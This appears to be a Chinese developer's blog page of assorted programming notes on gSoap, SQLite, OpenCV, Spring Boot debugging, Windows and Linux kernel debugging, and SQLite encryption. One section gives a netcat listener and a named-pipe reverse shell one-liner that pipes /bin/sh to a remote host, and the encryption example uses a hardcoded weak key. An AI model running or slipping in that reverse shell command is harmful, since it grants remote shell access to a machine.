编译gSoap生成的源码报找不到wsa__FaultSubcodeValues定义的错误。
解决方法:
在wsdl2h生成的.h文件中加入
1 | #import "wsa.h" |
再用soapcpp2生成源码。
人,技术,生活。
编译gSoap生成的源码报找不到wsa__FaultSubcodeValues定义的错误。
解决方法:
在wsdl2h生成的.h文件中加入
1 | #import "wsa.h" |
再用soapcpp2生成源码。
using gsoap 2.8.37:
./wsdl2h -c -s serviceplus.xml serviceplus.xsd
in serviceplus.xml.h, add
1 2 | #import "wsse.h" #import "saml1.h" |
./soapcpp2 -c serviceplus.xml.h -I /home/work/gsoap/gsoap-2.8.37/gsoap/import -I /home/work/gsoap/gsoap-2.8.37/gsoap
路径放在A列,B列将输出图片。按ALT+F11打开宏IDE,输入如下语句并执行。
1 2 3 4 | .separator "\t" .output a.txt SELECT name,?id FROM student; .output stdout |
这样就可把生成的a.txt导入到excel里了。
注意,sqlite导出的文本是unix格式,直接记事本打开看不到换行。
1 2 3 4 5 6 7 | #include <opencv2/opencv.hpp> using namespace cv; Mat imgBig = imread("d:/big.jpg"); Mat imgSmall = imgBig(cv::Rect(x, y, w, h)); imwrite("d:/small.jpg", imgSmall); |
先看这个网页:
https://blog.csdn.net/qq_36994788/article/details/76342623
到http://start.spring.io/下把工程建起来。
在pom.xml中加入:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | <build> <plugins> <plugin> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-maven-plugin</artifactId> <configuration> <jvmArguments> -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=5005 </jvmArguments> </configuration> </plugin> </plugins> </build> |
工程右键选择Debug As-〉Maven Build,在Goals中填入:
clean install -Ptest -X spring-boot:run
点执行就可以调试了。
近一步学习的资源:
https://blog.csdn.net/panchao888888/article/details/81060565
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | _CrtSetBreakAlloc(12683); OutputDebugString("hi"); DebugBreak(); #define _CRTDBG_MAP_ALLOC #include <crtdbg.h> _CrtSetDbgFlag(_CrtSetDbgFlag(_CRTDBG_REPORT_FLAG) | _CRTDBG_LEAK_CHECK_DF); _CrtSetReportMode(_CRT_ERROR, _CRTDBG_MODE_DEBUG); #pragma warning(disable:4996) #ifdef WIN32 #pragma message("message body") #else #warning "message body" #endif Project->settings->C/C++->Preprocessor->Project options->/P #define new new(_NORMAL_BLOCK, __FILE__, __LINE__) sysdig -c spy_users sed 's/^.\{22\}//' \\.\pipe\com_1 quiet kgdbwait kgdboc=ttyS0,115200 echo g > /proc/sysrq-trigger set auto-load safe-path . gdb /usr/src/kernels/linux-2.6.32.27/vmlinux (gdb) target remote /dev/ttyS0 |
nc反弹shell
1 | nc -lvvp 5555 |
1 2 | mknod /tmp/bp p /bin/sh 0</tmp/bp | nc 192.168.1.38 5555 1>/tmp/bp |
1 2 3 4 5 6 7 8 9 10 11 12 13 | #!/bin/bash debugfs=/sys/kernel/debug echo nop > $debugfs/tracing/current_tracer echo 0 > $debugfs/tracing/tracing_on echo $$ > $debugfs/tracing/set_ftrace_pid echo function_graph > $debugfs/tracing/current_tracer #replace test_proc_show by your function name echo vfs_read > $debugfs/tracing/set_graph_function echo 1 > $debugfs/tracing/tracing_on exec "$@" |
linux下,boa生成的cgi进程调用
1 | system("reboot"); |
是失效的,解决办法是,另起一root身份的侦听进程A,此cgi进程给进程A发msg,通知进程A进行system("reboot")调用。
以下代码在VC2013中运行报错,但在VC2017中运行良好,应该是VC2013的CArray类有BUG。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | #include <vector> #include <string> using namespace std; void CMFCApplication2Dlg::OnBnClickedButton1() { struct Tst01 { vector<string> t01; }; Tst01 tst01; tst01.t01.push_back("hi"); CArray<Tst01, Tst01> arry; for (int i = 0; i < 10; i++) { arry.Add(tst01); } for (int i = 0; i < 10; i++) { Tst01 &node = arry.GetAt(i); Tst01 nNode(node); // VC2013中此处报错 printf("big is %s.\n", nNode.t01[0].c_str()); } } |
最好的解决方案是:
1 | git clone https://github.com/utelle/wxsqlite3.git |
打开里面wxsqlite3\sqlite3secure\build目录下的对应VC工程文件,编译sqlite3shell项目,在wxsqlite3\sqlite3secure\bin-vc12\lib\debug下就为生成的sqlite3shell.exe
加密数据库:
1 2 3 | sqlite3shell.exe example.db sqlite> pragma rekey=123456; sqlite> .exit |
读取数据库:
1 2 3 | sqlite3shell.exe example.db sqlite> pragma key=123456; <-- 这条语句必须在打开数据库后作为第一条语名执行 sqlite> select * from table1; |
自已写的程序中一打开数据库db_,就加一句:
1 | sqlite3_key(db_, "123456", 6); |